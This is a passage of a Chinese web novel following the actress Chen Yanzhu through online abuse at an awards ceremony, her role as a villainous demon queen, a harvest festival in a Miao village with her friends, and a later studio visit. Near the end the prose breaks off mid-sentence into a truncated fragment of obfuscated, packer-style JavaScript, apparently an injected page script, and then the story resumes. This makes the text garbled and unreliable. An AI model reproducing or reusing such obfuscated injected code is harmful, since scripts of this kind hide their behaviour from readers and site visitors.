“我们永远支持你！” “黑粉滚出去！这里不欢迎你们！” “杬祝姐是最棒的！她值得所有美好！” 现场的安保也立刻反应过来，迅速将那几个黑粉控制住，带离了现场。但风波并未就此平息，网络上，早已有人将现场的视频片段发了出去，配文极尽抹黑之能事： 「陈杬祝红毯被骂！滚出娱乐圈！」 「爬爬奶茶风波后，陈杬祝路人缘彻底崩塌！」 「心疼余馨！被陈杬祝和苗寨的蛊虫欺负，现在还要看着她风光无限！」 评论区瞬间被黑粉和路人的质疑刷屏，就连一些原本中立的网友，也开始跟风吐槽： 「说实话，爬爬奶茶那波操作，陈杬祝确实有点败好感。」 「现在又穿高定走红毯，是不是有点太急着洗白了？」 「余馨虽然有错，但陈杬祝这边也没好到哪里去，都是娱乐圈的戏精。」 采访区里，陈杬祝已经坐了下来，主持人看着她，眼神里带着一丝同情，小心翼翼地避开了刚才的风波，开始询问她关于新剧《绫霄笙笙》的问题。 陈杬祝深吸一口气，压下心底的波澜，声音依旧温柔却带着坚定：“《绫霄笙笙》是一部非常优秀的作品，我在里面饰演的角色，是一个为了梦想不断努力的女孩。她的坚韧和执着，很打动我。” 她的回答滴水不漏，可眼底的疲惫，却还是被眼尖的媒体捕捉到了。 直播屏幕前，绫司司和李诺言气得直拍桌子，两人立刻在微博上发文，力挺陈杬祝： 「某些人不要太过分！杬祝姐清清白白，凭什么被你们这样诋毁！」 「黑粉滚出！我们杬祝姐的努力，不是你们一句两句就能抹杀的！」 练习室里的许金鑫，刚结束训练就看到了视频，他的脸色瞬间沉了下来，立刻发了一条微博，没有指名道姓，却字字句句都在维护陈杬祝： 「优秀的人，值得被尊重。那些躲在暗处的诋毁，终究只会暴露自己的丑陋。」 远在苗寨的沈司南，正和阿婆一起编着银铃铛，看到许祭发来的视频和消息时，他的眉头瞬间皱了起来，软糯的声音里带着愤怒：“他们又在欺负杬祝姐姐。” 许祭轻轻拍了拍他的肩膀，声音里带着冷意：“别担心，我已经让工作室处理了。杬祝姐姐很坚强，她不会被这些流言蜚语打倒的。” 阿婆放下手里的银线，眼底闪过一丝厉色：“这些人，连最基本的尊重都不懂。等新米节的时候，让他们看看，我们苗寨的人，是怎么守护自己的朋友的。” 苏菲菲此时正在外地拍摄，看到消息后，立刻暂停了拍摄，发了一条微博，力挺陈杬祝： 「认识杬祝姐的人都知道，她是一个多么温柔、多么努力的人。那些无端的诋毁，终究会不攻自破。我们永远支持你，杬祝姐！」 陈杬祝的手机在采访桌下不断地震动着，是来自朋友们的关心，是来自粉丝们的支持，还有来自诺雅品牌方的消息，说他们永远相信她，会和她一起面对所有的风雨。 她的指尖轻轻划过屏幕，看着那些温暖的话语，眼底的疲惫渐渐被温暖取代。 采访结束后，陈杬祝没有立刻离开，而是走到红毯两侧的粉丝身边，一一和他们握手，声音里带着感激：“谢谢你们，一直都在。” 粉丝们瞬间红了眼眶，纷纷喊道：“杬祝姐！我们永远爱你！” 陈杬祝笑了笑，笑容里带着释然，也带着坚定。她转身走进会场，背影挺拔，仿佛刚才的一切都没有发生过。 她知道，这条路注定不会一帆风顺，会有风雨，会有诋毁，会有各种各样的挑战。但她也知道，她从来都不是一个人。 有沈司南的信任，有许金鑫的陪伴，有绫司司和李诺言的支持，有许祭的守护，有苏菲菲的仗义，还有无数粉丝的爱。 这些，都是她前行的力量。 金紫荆奖的颁奖典礼还在继续，陈杬祝坐在台下，看着台上的前辈们领奖，眼底满是敬意。当主持人念出她的名字，宣布她获得最佳女主角提名时，全场爆发出热烈的掌声。 她站起身，对着台下深深鞠躬，然后从容地走上领奖台。聚光灯打在她的身上，酒红色的丝绒长裙泛着高贵的光泽，她的眼神坚定，笑容明媚。 “谢谢评委们的认可，谢谢《绫霄笙笙》的全体剧组，谢谢我的粉丝们，谢谢我身边的每一个人。”陈杬祝拿着奖杯，声音清晰而有力，“我知道，一路走来，有很多质疑和诋毁，但我从未放弃过自己的初心。我会继续努力，用更好的作品，来回报所有的信任与支持。” 她的话音刚落，全场再次爆发出雷鸣般的掌声。 网络上，风向也开始慢慢转变。越来越多的人站出来为陈杬祝发声，粉丝们的控评和反黑，朋友们的力挺，还有路人的理智分析，渐渐压过了黑粉的骂声。 #陈杬祝 最佳女主角提名# #陈杬祝 红毯优雅# #陈杬祝 初心不改# 三个话题迅速冲上热搜，瞬间盖过了之前的负面词条。 陈杬祝拿着奖杯，站在领奖台上，看着台下的星光点点，眼底满是泪水。 她知道，这只是一个开始。 未来的路，依旧漫长。但她会带着所有人的爱与支持，继续前行，用实力证明自己，用作品说话，用温柔和坚定，去面对所有的风雨。 因为她坚信，只要心怀初心，只要身边有爱的人，就没有什么能够打倒她。 陈杬祝接到《九色鹿》剧组邀约的那天，刚结束金紫荆奖的庆功宴。保姆车里的灯光昏黄，她指尖捏着那封烫金的剧本邀约函，封面上的“九色鹿”三个字，笔锋凌厉又带着几分缥缈的仙气。 导演是业内以风格化著称的张导，以擅长挖掘演员内心戏闻名。邀约函里的角色，不是温婉的九色鹿仙，也不是正义的捕快，而是剧中最大的反派——执掌西域魔域的妖后，曼殊。 剧本扉页上，写着张导的亲笔批注：曼殊非恶，是困于执念的孤魂。她嗜杀，却因幼时族人被屠；她夺九色鹿的灵珠，却只为复活被封印的弟弟。她的眼底该有血火，也该有碎冰。 陈杬祝连夜读完剧本，合上书时，天已微亮。她指尖划过“曼殊”二字，眼底翻涌着复杂的情绪。这个角色，与她以往饰演的所有温柔坚韧的女性形象都截然不同，她狠戾、偏执，却又藏着不为人知的脆弱，像一朵开在血池里的曼殊沙华，美丽又致命。 她几乎是立刻，就给张导回了消息：“我接。” 《九色鹿》官宣阵容的那天，微博服务器险些再次瘫痪。当“陈杬祝 饰妖后曼殊”的词条冲上热搜榜首时，评论区瞬间分成了两派。 黑粉依旧不依不饶： 「陈杬祝疯了吧？敢接妖后？这是想靠反派洗白？」 「就她那温柔的样子，能演出妖后的狠戾吗？别毁了经典！」 「爬爬奶茶的风波还没过去，现在又来演反派，路人缘彻底没救了！」 但更多的，是粉丝和业内人士的期待： 「天呐！杬祝姐挑战妖后！这反差感我直接拉满！」 「张导的眼光不会错！杬祝姐的演技，演曼殊绝对没问题！」 「曼殊这个角色太带感了！偏执又深情，杬祝姐一定能演活她！」 「从温柔姐姐到狠戾妖后，陈杬祝的戏路越来越宽了！」 剧组定妆的那天，陈杬祝在化妆间里坐了整整八个小时。当造型师最后为她戴上那顶镶嵌着血色宝石的凤冠，画上眼角那抹妖冶的绯红时，镜子里的人，瞬间变了模样。 一身玄黑绣金的曳地长裙，裙摆上用银线绣着暗纹的曼殊沙华，随着动作摇曳生姿。眉峰凌厉，眼尾上挑，红唇似血，明明是同样的一张脸，却再也寻不到半分陈杬祝的温柔，只剩下妖后曼殊的狠戾与孤傲。 张导站在化妆间门口，看到她的瞬间，眼中闪过一丝惊艳，随即点头：“就是她了。” 第一场戏，便是曼殊血洗西域神殿，只为夺取能唤醒弟弟的镇魂石。 片场的威压架得极高，陈杬祝被吊在半空中，玄黑的裙摆在空中划出凌厉的弧度。她手持一柄血色长剑，剑锋所指，皆是哀嚎。镜头里，她的眼底没有丝毫波澜，只有一片冰冷的杀意，可当她的剑尖抵在神殿祭司的咽喉时，眼底却瞬间闪过一丝不易察觉的慌乱——那是祭司提起她弟弟时，她心底最柔软的执念。 “卡！”张导的声音带着难掩的激动，“完美！陈杬祝，你就是曼殊本人！” 片场的工作人员瞬间爆发出热烈的掌声。饰演祭司的老戏骨走上前，对着陈杬祝竖起大拇指：“陈老师，你的眼神，太有戏了。” 陈杬祝微微躬身，声音里还带着曼殊的冷冽，尚未完全抽离：“前辈过奖了。” 她走到休息区，刚卸下威压，手机便响了。是沈司南发来的视频通话。 屏幕里，沈司南正坐在苗寨的吊脚楼里，怀里抱着熊猫玩偶，手腕上的萤石手链泛着淡蓝光晕。他看到陈杬祝的造型时，眼睛瞬间瞪得溜圆，软糯的声音里带着一丝惊讶，却没有半分害怕：“杬祝姐姐，你今天的衣服，好特别。” 陈杬祝笑了笑，眼底的冷冽瞬间消散，变回了那个温柔的姐姐：“这是姐姐新角色的造型，她叫曼殊，是一个妖后。” “妖后是什么？”沈司南歪着头，一脸好奇。 “是一个很厉害的人。”陈杬祝耐心解释，“她有自己的执念，也有自己想要守护的人。” 沈司南似懂非懂地点点头，随即举起手里的银铃铛：“杬祝姐姐，我给你编的铃铛，快做好了。新米节的时候，你一定要来。” “一定。”陈杬祝的笑容温柔得能滴出水来。 挂了视频通话，许金鑫的消息便跳了出来：“刚看到定妆照，妖后造型帅炸了！期待曼殊女王的表现！” 绫司司和李诺言更是直接发来一大段语音，里面全是两人的尖叫声：“杬祝姐！你也太绝了吧！这造型！这气场！我们已经开始期待电影上映了！” 苏菲菲此时正在苗寨附近拍摄，看到定妆照后，立刻发来消息：“曼殊女王的气场，隔着屏幕都能感受到！新米节见，到时候听你讲拍戏的故事。” 许祭的消息则简单而坚定：“注意安全，照顾好自己。期待你的曼殊。” 陈杬祝看着手机屏幕上的一条条消息，眼底满是温暖。她将手机揣回口袋，重新走到片场，眼神瞬间变得凌厉。 接下来的日子里，陈杬祝彻底沉浸在了曼殊的世界里。她会在休息时，一个人坐在角落，反复揣摩曼殊的心理活动；她会为了一场打戏，反复练习威压动作，直到手臂酸痛得抬不起来；她会为了一场哭戏，把自己关在化妆间里，直到眼泪再也流不出来。 有一场戏，是曼殊看着弟弟的灵位，终于卸下所有伪装，失声痛哭。那场戏，陈杬祝一条过。当她的眼泪砸在灵位上时，全场的工作人员都红了眼眶。张导甚至当场落泪，说：“这是我拍过的，最动人的一场哭戏。” 《九色鹿》的拍摄进度，比预期的要快。当最后一场戏杀青时，陈杬祝站在西域魔域的布景里，看着漫天飞舞的曼殊沙华道具，久久没有回过神来。 张导走上前，拍了拍她的肩膀：“恭喜你，陈杬祝。你成功地让曼殊活了过来。” 陈杬祝微微躬身，声音里带着一丝不易察觉的沙哑：“谢谢张导，谢谢所有的工作人员。” 杀青宴上，陈杬祝换上了一身简单的白色长裙，变回了那个温柔的自己。她端着酒杯，一一向工作人员敬酒，眼底满是感激。 就在这时，她的手机响了。是沈司南发来的消息，只有一张照片——那串为她编的银铃铛，终于做好了，正挂在吊脚楼的窗棂上，在苗寨的风里，发出清脆的声响。 照片的下方，是沈司南软糯的声音：“杬祝姐姐，新米节，我等你。” 陈杬祝的嘴角，不自觉地向上扬起。她抬头看向窗外，夜空繁星点点，像极了苗寨的星空。 她知道，《九色鹿》的拍摄已经结束，但曼殊的故事，却永远留在了她的心里。而她的下一个旅程，便是苗寨的新米节。 那里有沈司南的等待，有阿婆的糯米饭，有苏菲菲的笑容，有许祭的陪伴，还有那片比横店更亮的星空。 陈杬祝举起酒杯，对着夜空，轻轻说了一句：“曼殊，再见。苗寨，我来了。” 23. 苗寨 陈杬祝的航班降落在附近的机场时，天色刚擦黑。许祭早已驱车等在出口，车后座放着她特意为阿婆和沈司南准备的礼物——几匹成色极好的云锦，还有一盒包装精致的糕点。 车子在蜿蜒的山路上行驶，窗外的虫鸣与草木清香渐渐取代了城市的喧嚣。当苗寨的灯火星星点点出现在视野里时，陈杬祝的眼底瞬间漫上笑意，连带着指尖都雀跃起来。 车子停在苗寨入口，沈司南早已抱着熊猫玩偶等在那里，阿婆站在他身边，手里提着一盏马灯，昏黄的光晕将两人的身影拉得很长。 “杬祝姐姐！”沈司南的声音比山间的清泉还要清脆，他快步跑上前，仰头看着陈杬祝，眼底的光亮比苗寨的星星还要耀眼，“你终于来了！” 陈杬祝弯腰揉了揉他的头发，刚想说话，口袋里的手机便轻轻震动了一下。是微博的定时发送提醒跳了出来，她这才想起，登机前特意编辑好的那条动态，到了该发送的时间。 她笑着拿出手机，指尖轻轻点下“发送”按钮，没有再做任何修改。 微博界面上，一行软糯又带着雀跃的文字跳了出来：晚上好呀，回苗寨啦? 配图是一张她在机场休息室拍的自拍。镜头里的她，褪去了曼殊的冷冽，也没有了红毯上的精致，只穿了一件简单的白色卫衣，头发随意地挽在脑后，露出光洁的额头。她对着镜头比了个可爱的耶，眼底的笑意藏都藏不住，像极了一个终于要奔赴心爱之地的普通女孩。 发送成功的提示刚弹出来，评论区便瞬间炸开了锅。 绫司司和李诺言的评论几乎是同时出现： 「天呐！杬祝姐到苗寨了！新米节快乐！」 「姐姐的自拍好可爱！比耶的样子太乖了！苗寨的星星一定很好看！」 许金鑫的评论带着暗戳戳的温柔： 「一路辛苦，好好享受苗寨的时光。等你回来，带你去吃你最爱的火锅。」 苏菲菲的消息紧跟着跳了出来，她此刻已经在苗寨附近的民宿住下，看到微博后立刻回复： 「明天见！已经开始期待阿婆的糯米饭和司南的银铃铛了！」 粉丝们更是激动得不行，评论区里满是祝福与期待： 「姐姐的自拍好甜！终于可以好好休息一下了！」 「苗寨之旅一定很开心！期待姐姐的返图！」 「新米节快乐！希望姐姐在苗寨能收获满满的幸福！」 「从曼殊女王到温柔姐姐，这反差感我太爱了！」 陈杬祝笑着刷了几条评论，便将手机揣回口袋，弯腰抱起沈司南递过来的熊猫玩偶，抬头看向阿婆，声音里带着止不住的笑意：“阿婆，我回来了。” 阿婆的脸上满是慈祥的笑容，她伸手牵过陈杬祝的手，掌心的温度温暖而粗糙：“回来就好，快进屋，糯米饭已经蒸好了，酸汤鱼也炖得正香。” 许祭拎着礼物跟在身后，目光落在陈杬祝的背影上，眼底满是宠溺。 吊脚楼里的火塘烧得正旺，火苗跳跃着，将整个屋子映得暖融融的。陈杬祝坐在火塘边，手里捧着一碗热气腾腾的糯米饭，鼻尖萦绕着酸汤鱼的鲜香。沈司南站在她身边，小心翼翼地将那串刚编好的银铃铛递到她手里，铃铛上的小熊猫和苗寨图腾在火光下泛着细碎的光。 “杬祝姐姐，这个给你。” 陈杬祝接过银铃铛，轻轻晃了晃，清脆的声响在屋子里回荡。她抬头看向沈司南，又看了看身边的阿婆和许祭，眼底的笑意温柔得能滴出水来。 她知道，这段苗寨的时光，将会是她最珍贵的记忆。而微博上的那条动态，不过是她奔赴幸福的一个小小注脚。 新米节的前一天，苗寨的晨雾还没散尽，蜿蜒的青石板路尽头就传来了窸窸窣窣的人声。不是寨子里熟悉的乡音，而是带着各地口音的惊叹与好奇——是循着苏菲菲的直播、陈杬祝的微博找来的游客。 他们大多是冲着苗寨的原生态风光和新米节来的，也有不少人，是既想看看沈司南口中“比任何地方都亮”的星星，也想亲眼见见温柔的陈杬祝，和那位神秘却纯粹的苗寨祭祀。 游客们的到来没有打破苗寨的宁静，他们都记得苏菲菲直播里的叮嘱，脚步放得很轻，说话的声音也带着刻意的放低。有人举着相机拍吊脚楼的飞檐，有人蹲在田埂边拍刚抽芽的稻苗，还有人围在村口的大榕树下，听寨子里的老人讲苗寨的故事。 陈杬祝刚帮阿婆把蒸好的糯米饭端到火塘边，就听到了门外传来的轻轻敲门声。她推开门，看到几个年轻女孩正站在门口，手里拿着手机，脸上带着羞涩的笑意：“请问……是陈杬祝姐姐吗？我们是你的粉丝，也是来苗寨过新米节的。” 陈杬祝的眼底瞬间漾开温柔的笑意，她点了点头，声音轻柔：“是我呀，你们好。” 女孩们瞬间激动得红了脸，却还记得压低声音：“我们能和你合张影吗？不会打扰到你和寨子里的人。” “当然可以。”陈杬祝笑着应下，特意走到吊脚楼外的空地上，背靠着错落有致的吊脚楼，对着镜头比了个和微博自拍里一样的耶。 快门声轻轻响起，女孩们的脸上满是幸福的笑容。消息很快传开，越来越多的游客围了过来，却都很有秩序地排着队，一个个上前和陈杬祝合影。有人还带来了自己画的苗寨速写，小心翼翼地递给她：“杬祝姐姐，这是我画的苗寨，送给你。” 陈杬祝认真地接过，眼底的笑意更浓：“谢谢你，画得真好看。” 就在这时，人群里有人眼尖地看到了正站在不远处，帮村民们挂新米节彩绸的沈司南。他穿着那件绣着苗寨图腾的素色外衫，手腕上的萤石手链泛着淡蓝光晕，怀里还抱着那只圆滚滚的熊猫玩偶，阳光落在他的发顶，整个人干净得像山间的清泉。 “是沈祭祀！” “天呐！沈司南在这里！” “我们能和沈祭祀也合张影吗？” 游客们的声音里带着期待，却没有丝毫的喧闹。沈司南听到声音，抬眼望过来，长睫轻轻颤了颤。他不是很习惯这样的场面，却没有拒绝，只是对着人群轻轻点了点头。 陈杬祝见状，主动走到沈司南身边，侧过身对着围过来的游客笑着说：“我们一起合张影吧。” 沈司南的眼底瞬间柔和了许多，他微微调整了站姿，让陈杬祝站在自己身侧，怀里的熊猫玩偶被他抱得更稳了些。 游客们瞬间欢呼起来，却依旧记得保持安静。有人举着自拍杆，有人拿着相机，镜头里，陈杬祝的温柔与沈司南的清冷相映成趣，背景是苗寨层层叠叠的吊脚楼和漫山遍野的绿意。 “咔嚓——”“咔嚓——” 快门声接连不断，却没有打破苗寨的宁静。有带着孩子的游客，还特意让孩子和沈司南合影，孩子怯生生地拉着沈司南的衣角，沈司南便低头，用软糯的声音轻轻和孩子说话。 “沈祭祀，你的萤石手链真好看。”一个小姑娘仰着头，好奇地问。 “这是安神的信物。”沈司南轻声回答，还特意将手腕抬了抬，让小姑娘看得更清楚些。 陈杬祝站在一旁，看着这温馨的一幕，忍不住拿出手机，也拍了一张照片。照片里，沈司南低头和小姑娘说话，阳光透过树叶的缝隙落在他们身上，温柔得像一幅画。 有游客认出了陈杬祝手里的银铃铛，正是沈司南为她编的那串，上面的小熊猫和苗寨图腾清晰可见。有人忍不住问：“杬祝姐姐，这串银铃铛是沈祭祀编的吗？真好看。” “是啊。”陈杬祝笑着晃了晃银铃铛，清脆的声响在空气中回荡，“是司南亲手编的，我很喜欢。” 沈司南的耳尖微微泛红，却没有躲开，只是对着陈杬祝轻轻点了点头。 游客们没有过多打扰，合完影后，便纷纷散开，去探索苗寨的美景。有人去看寨子里的蜡染布，有人去尝阿婆们做的米花糖，还有人跟着村民们一起学习编银铃铛，整个苗寨都被一种温馨而热闹的氛围包裹着。 陈杬祝和沈司南站在吊脚楼前，看着不远处欢声笑语的游客，眼底满是温暖。许祭不知何时走了过来，手里拿着两瓶水，递给他们：“没想到会来这么多人。” “都是喜欢苗寨的人。”陈杬祝接过水，笑着说，“他们都很有礼貌，没有打扰到寨子里的生活。” 沈司南点了点头，软糯的声音里带着一丝雀跃：“阿婆说，这是苗寨最热闹的一次新米节。” 就在这时，几个游客拿着相机走了过来，脸上带着期待：“陈杬祝姐姐，沈祭祀，我们能和你们三个人一起合张影吗？” 陈杬祝和沈司南对视一眼，都从对方眼中看到了笑意。许祭也微微颔首，站到了他们身侧。 镜头里，陈杬祝站在沈司南旁边，许祭立在二人身侧，背景是苗寨的吊脚楼和漫天的霞光。快门声响起的瞬间，陈杬祝和沈司南都对着镜头比了个耶，许祭的嘴角也勾起了一抹淡淡的笑意。 这张照片，后来被游客们发到了网上，配文：“苗寨的温柔，是陈杬祝的笑，是沈司南的纯，是许祭的守护，也是我们对文化的敬畏。” 照片在网上疯传，没有人再去纠结娱乐圈的是非，也没有人再去质疑苗寨的神秘。大家看到的，只是一片土地的美好，和一群人的温柔。 而苗寨的热闹，才刚刚开始。新米节的钟声，即将敲响。 新米节的钟声终于在次日清晨敲响，铜铃的脆响裹着晨雾，漫过苗寨的每一座吊脚楼，每一寸青石板路。 沈司南作为苗寨的祭祀，换上了一身绣满日月星辰与稻穗图腾的玄色祭服，腰间系着银链，链上悬着的小铜铃随他的脚步轻响。他手持一根桃木杖，杖头雕刻着苗寨的守护图腾，神情肃穆地走向寨心的祭台。陈杬祝站在人群外侧，穿着阿婆为她准备的素色苗裙，裙摆上绣着细碎的白色山花，她没有上前打扰，只是安静地望着沈司南的背影，眼底满是敬畏。 游客们早已自觉地站在划定的区域，没有人喧哗，没有人随意举着相机拍摄，只有苏菲菲带着团队，在得到阿婆允许后，用镜头安静记录着这场传承千年的仪式。她的镜头里，没有猎奇，没有夸张，只有沈司南的肃穆，只有村民们的虔诚，只有这片土地对自然的敬畏。 沈司南站在祭台上，用苗语念着古老的祷词，声音清越，裹着山间的风，传向远方。阿婆站在祭台一侧，将提前准备好的新米撒向天空，白色的米粒在晨光中划出细碎的弧线，落在祭台的青石板上，也落在围观者的心头。 仪式结束后，便是苗寨最热闹的长桌宴。长长的木桌从寨心一直延伸到村口的大榕树下，桌上摆满了酸汤鱼、糯米饭、腌肉、米花糖，还有村民们自酿的米酒。陈杬祝被阿婆拉着坐在身边，沈司南就坐在不远处，已经换回了那件素色外衫，怀里依旧抱着熊猫玩偶。 游客们也被热情的村民邀请入座，大家举杯共饮，说着不同的方言，却有着同样的笑容。有游客忍不住唱起了山歌，寨子里的姑娘们立刻接了上去，清亮的歌声在苗寨的上空回荡，引得众人阵阵叫好。 苏菲菲放下相机，端起一碗米酒，走到陈杬祝和沈司南身边，笑着说：“这大概是我拍过的，最温暖的画面了。” 陈杬祝笑着和她碰了碰碗，眼底的笑意温柔：“以后有机会，还可以来。” 沈司南也对着苏菲菲点了点头，软糯的声音里带着真诚：“苏菲菲姐姐，欢迎你常来。” 许祭就坐在沈司南的身侧，他没有多言，只是安静地为沈司南夹着菜，目光落在他身上时，带着化不开的温柔。 午后的阳光正好，寨心的空地上，村民们已经跳起了芦笙舞。男人们吹着芦笙，女人们穿着色彩鲜艳的苗裙，踩着欢快的节奏，裙摆飞扬，像一只只翩翩起舞的蝴蝶。游客们也忍不住加入其中，跟着村民们的脚步，笨拙却开心地跳着，欢笑声此起彼伏。 陈杬祝被几个寨子里的小姑娘拉着加入了舞蹈的队伍，她的动作不算熟练，却跳得格外认真。沈司南站在一旁，看着她裙摆飞扬的样子，眼底的笑意藏都藏不住。有个小姑娘跑过来，拉着沈司南的手，想要带他一起跳，沈司南犹豫了一下，最终还是被拉进了人群。 他的动作有些僵硬，却格外认真，怀里的熊猫玩偶被他紧紧抱着，随着他的动作轻轻晃动。陈杬祝看到他的样子，忍不住笑出了声，笑声清脆，像山间的清泉。 夕阳西下时，长桌宴才渐渐散场。游客们带着满满的收获，或是自己编的银铃铛，或是村民们送的新米，或是一张张充满回忆的照片，依依不舍地和村民们告别。他们都承诺，以后还会再来，再来看看苗寨的星星，再来尝尝阿婆的糯米饭。 陈杬祝站在村口，看着游客们的身影渐渐消失在山路的尽头，眼底满是不舍。沈司南走到她身边，轻声说：“他们还会来的。” “嗯。”陈杬祝点了点头，转头看向沈司南，“这次来苗寨，真的很开心。” 阿婆走了过来，手里拿着两串银铃铛，一串递给陈杬祝，一串递给苏菲菲，笑着说：“这是阿婆亲手编的，带着它，以后再来苗寨，阿婆还给你们做酸汤鱼。” 陈杬祝和苏菲菲郑重地接过银铃铛，异口同声地说：“谢谢阿婆。” 夜幕降临，苗寨的星星果然比任何地方都要亮。墨蓝色的夜空里，繁星点点，像一颗颗散落的钻石，照亮了整个苗寨。 陈杬祝、沈司南、许祭和苏菲菲，坐在吊脚楼的屋顶上，手里拿着米酒，安静地看着星空。沈司南指着天空，轻声为他们介绍着苗寨人眼中的星星，哪一颗是守护寨门的，哪一颗是掌管稻禾的，哪一颗是逝去的先祖变的。 陈杬祝听得格外认真，她拿出手机，拍下了这片星空，也拍下了身边的几个人。照片里，沈司南仰着头，手指指向天空，许祭的目光落在他身上，苏菲菲的脸上带着温柔的笑意，而她自己，正侧着头，看着沈司南，眼底满是温暖。 她将这张照片发到了微博上，配文：苗寨的星星，真的很亮。? 评论区瞬间被温暖的祝福填满，大家都在为陈杬祝的开心而开心，为苗寨的美好而感动。 夜深了，苏菲菲先回了民宿，吊脚楼的屋顶上，只剩下陈杬祝、沈司南和许祭。 沈司南靠在许祭的肩膀上，声音带着一丝困意：“许祭，杬祝姐姐，明天的星星，会不会也这么亮？” 许祭轻轻拍了拍他的背，声音温柔：“会的。” 陈杬祝也笑着点头：“会的。” 苗寨的夜，安静而温暖。火塘里的火苗还在跳跃，吊脚楼的窗棂上，银铃铛在风中轻轻作响，星空下的三人，有着说不尽的温柔。 陈杬祝知道，这次苗寨之行，将会是她生命中最珍贵的记忆。而她和沈司南、许祭、苏菲菲之间的友谊，也会像苗寨的星星一样，永远明亮，永远温暖。 第二天清晨，陈杬祝不得不离开苗寨了。她还要回去继续拍摄《九色鹿》的宣传物料，还要去面对娱乐圈的风风雨雨。 沈司南和阿婆一直送她到村口，许祭早已将车停在那里。 “杬祝姐姐，你一定要再来。”沈司南拉着陈杬祝的衣角，软糯的声音里带着不舍。 “一定。”陈杬祝弯腰，揉了揉他的头发，“等姐姐忙完了，就回来看你和阿婆，还有苗寨的星星。” 阿婆也拉着陈杬祝的手，反复叮嘱：“路上小心，记得按时吃饭，不要太累了。” “我知道了，阿婆。”陈杬祝的眼底泛起一丝湿润，却还是努力笑着。 许祭帮陈杬祝把行李放进车里，对着沈司南和阿婆点了点头：“我会照顾好她的。” 车子缓缓驶离苗寨，陈杬祝摇下车窗，看着沈司南和阿婆的身影渐渐变小，最终消失在视野里。她的手里，紧紧攥着那串沈司南为她编的银铃铛，清脆的声响，在车厢里回荡。 许祭看了看她，轻声说：“以后，我们可以常来。” 陈杬祝转头看向他，眼底的笑意重新绽放：“好啊。” 车子在蜿蜒的山路上行驶，陈杬祝的手机响了，是苏菲菲发来的消息，里面是一张照片，照片里是她和沈司南、阿婆的合影，配文：下次见。 陈杬祝笑着回复：下次见。 她抬头看向窗外，天空很蓝，云很白，像极了苗寨的日子。 她知道，自己很快就会回来的。回到这片充满温柔与美好的土地，回到沈司南和阿婆的身边，回到这片星星最亮的地方。 车子驶出苗寨的山路，暮色正一点点漫上来，将窗外的青山晕染成深浅不一的墨色。陈杬祝靠在副驾驶座上，指尖反复摩挲着沈司南为她编的那串银铃铛，清脆的声响在安静的车厢里轻轻回荡。 许祭专注地开着车，没有打扰她，只在路过一个弯道时，下意识地放慢了车速。 陈杬祝掏出手机，屏幕上还停留在那张她坐在吊脚楼屋顶拍的星空照——沈司南仰着脑袋指星星的侧脸，许祭落在他身上的温柔目光，还有苏菲菲嘴角未散的笑意，都被定格在苗寨璀璨的星空下。 她没有再翻找其他照片，只是点开微博，指尖在输入框里轻轻敲击，最后只留下一行简单却藏着万千心绪的文字，特意@了沈司南的账号： @沈司南希望一切都是最好的安排? 配图没有选热闹的长桌宴，也没有选庄严的祭祀仪式，而是一张她悄悄拍下的、沈司南蹲在田埂边的背影。他穿着那件素色外衫，怀里抱着熊猫玩偶，正小心翼翼地看着一只停在稻苗上的蝴蝶，手腕上的萤石手链在夕阳下泛着淡淡的蓝光，安静得像一幅被时光珍藏的画。 发送的瞬间，手机便轻轻震动起来。 评论区几乎是立刻就涌进了粉丝的留言，没有喧嚣的八卦，只有温柔的祝福： 「杬祝姐这是离开苗寨了吗？字里行间都是不舍呀！」 「沈祭祀的背影好干净！苗寨的时光一定是最珍贵的回忆吧！」 「最好的安排就是遇见彼此，遇见苗寨的温柔！」 「期待姐姐的《九色鹿》，也期待下一次姐姐和沈祭祀的同框！」 绫司司和李诺言的评论依旧是最先赶到的，带着她们独有的热情： 「姐姐一路平安！苗寨的回忆会一直温暖着你！」 「最好的安排！我们都在等姐姐的曼殊女王，也在等下一次的苗寨之约！」 苏菲菲的回复很快跳了出来，带着她一贯的温柔与通透： 「一切都是最好的安排。苗寨的门，永远为你们敞开??」 许金鑫的评论简单却坚定： 「会的。」 远在苗寨的沈司南，正坐在吊脚楼的门槛上，抱着熊猫玩偶，看着远处渐渐暗下去的山路。手机震动的瞬间，他几乎是立刻就点开了微博，看到陈杬祝的动态和那张他蹲在田埂边的背影照时，长睫轻轻颤动了一下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈杬祝的《九色鹿》宣传期刚至半程，剧组便进驻了横店的影棚，补拍一组西域魔域的祭祀群像镜头。她刚结束一场曼殊的单人定妆，卸下玄黑绣金的曳地长裙，换上一身轻便的米白色卫衣，正靠在休息区的沙发上翻看剧本，窗外突然传来一阵熟悉的喧哗。 助理小跑着进来，脸上带着难掩的惊讶：“杬祝姐！外面……外面有位沈先生和许先生找你，说是你的朋友。” 陈杬祝的指尖猛地顿在剧本上，眼底瞬间漫上惊喜。她几乎是立刻站起身，快步往影棚外走，刚转过拐角，就看到沈司南站在不远处的空地上，怀里抱着那只圆滚滚的熊猫玩偶，身上穿着一件简单的白色衬衫，手腕上的萤石手链在阳光下泛着淡蓝光晕。许祭就站在他身侧，一身黑色休闲装，身姿挺拔，目光正温和地落在沈司南身上。 “司南！许祭！”陈杬祝的声音里带着止不住的雀跃，快步走到两人面前，上下打量着沈司南，“你们怎么来了？也不提前告诉我一声。” 沈司南的长睫轻轻颤了颤，软糯的声音里带着一丝雀跃：“阿婆说，寨子里的新米已经晒好了，让我给你送点过来。许祭刚好有空，就陪我一起来了。” 许祭适时地递过身侧的保温箱，声音温和：“里面是阿婆亲手做的糯米饭和酸汤鱼，还是热的。” 陈杬祝的心底瞬间涌上一股暖流，她接过保温箱，刚想邀请两人进休息区坐坐，眼角的余光却瞥见了不远处正在忙碌的张导。张导正对着一组西域祭祀的道具发愁，嘴里还在低声念叨着：“这组群像里，缺一个能镇住场子的少年祭祀，气质要干净又带着神性，太难找了。” 一个念头突然在陈杬祝的脑海里闪过，她眼睛一亮，转头看向沈司南，语气里带着几分期待：“司南，你要不要客串一下我的电影？” 沈司南微微歪了歪头，眼底带着一丝好奇。 